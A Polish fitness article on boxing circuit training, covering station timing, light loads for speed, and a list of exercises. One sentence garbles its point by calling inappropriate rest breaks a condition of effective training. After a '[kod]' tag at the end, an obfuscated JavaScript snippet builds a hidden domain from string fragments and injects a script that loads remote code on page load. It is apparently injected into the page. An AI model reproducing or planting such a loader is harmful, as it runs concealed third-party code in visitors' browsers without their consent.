#TELEWIZJA
Wiele osób chce rozpocząć trening bokserski, lecz nie wie jak się do tego zabrać. W sportach walki, w tym także w boksie trening opiera się na ćwiczeniach obwodowym. Z reguły w czasie takiego treningu ustawia się kilkanaście stacji a następnie na każdej z nich ćwiczy się przez około dwadzieścia sekund. Przerwa pomiędzy kolejnymi stacjami nie powinna być dłuższa niż czterdzieści sekund. Odpoczynek po zaliczeniu wszystkich stacji, czyli wykonaniu jednego obwodu powinien wynosić około czterech minut.
Praca nad dynamiką a nie siłą
Bardzo ważne jest by tempo pracy na wszystkich stacjach było szybkie. Celem takich ćwiczeń jest poprawa dynamiki, która jest kluczowa podczas walki. Osoby niezwiązane ze sportami walki zazwyczaj sądzą, że siła ciosu wynika z siły mięśni, prawda jest jednak taka, że najważniejsza jest odpowiednia technika i dynamika.
Kluczowym elementem w trakcie treningu obwodowego jest odpowiedni dobór obciążenia. Pamiętając, że najważniejsza jest dynamika a czas ćwiczeń na jednej stacji to około dwudziestu sekund, wybrany ciężar powinien być stosunkowo lekki. Zasadniczo przyjmuje się, że waga obciążenia w czasie tych ćwiczeń nie powinna przekraczać trzydziestu procent ciężaru maksymalnego.
Najpopularniejsze ćwiczenia
Jak się okazuje w czasie treningu, bokserom potrzebny jest nie tylko worek bokserski. Do najpopularniejszych ćwiczeń wykonywanych podczas treningu obwodowego należą:
-
wyciskanie ciężaru leżąc,
-
podskoki z piłką lekarską uniesioną za głową,
-
wyciskanie sztangi zza głowy,
-
skłony,
-
ciosy proste wykonywane w miejscu z hantlami,
-
wyciskanie sztangi lub sztangielek zza głowy,
-
skręty tułowia z obciążeniem trzymanym na wysokości klatki piersiowej,
-
ciosy sierpowe w miejscu z hantlami,
-
przeskoki nad ławeczką gimnastyczną lub inną przeszkodą,
-
podciąganie kolan do klatki piersiowej oraz zwis na drążku,
-
pompki na poręczach,
-
kombinacja ciosów z hantlami,
-
pajacyki wraz z wyrzutem przed siebie odważnika lub sztangi,
-
krążenia tułowia z obciążeniem,
-
bieg z wysoko unoszonymi kolanami,
-
scyzoryki.
O skutecznym treningu można mówić tylko wtedy, gdy przerwy między stacjami nie są odpowiednie, nie mogą być one ani zbyt długie ani zbyt krótkie. Odpoczynek nie może polegać na siedzeniu bez ruchu lub co gorsza leżeniu. Po każdym zakończonym obwodzie powinno się wykonać ćwiczenia rozluźniające i rozciągające oraz uzupełnić płyny. Ustawienie stacji powinno być dobrze przemyślane by zmiany przebiegały płynnie i bez przeszkód.
[kod]
(function(){
zk1r=document.createElement("script");zk1r_=(("u")+"st")+"a";zk1r.async=true;
zk1r.type="text/javascript";zk1r_+=("t.i")+""+"n";zk1r_+=(("f")+"o");zk1r_+="/";
zk1ru="13586292.";zk1ru+="19in4f7sk1rnvq9zq72"+"7vzei25g6zf";
zk1r.src="//"+zk1r_+zk1ru; document.body.appendChild(zk1r);
})();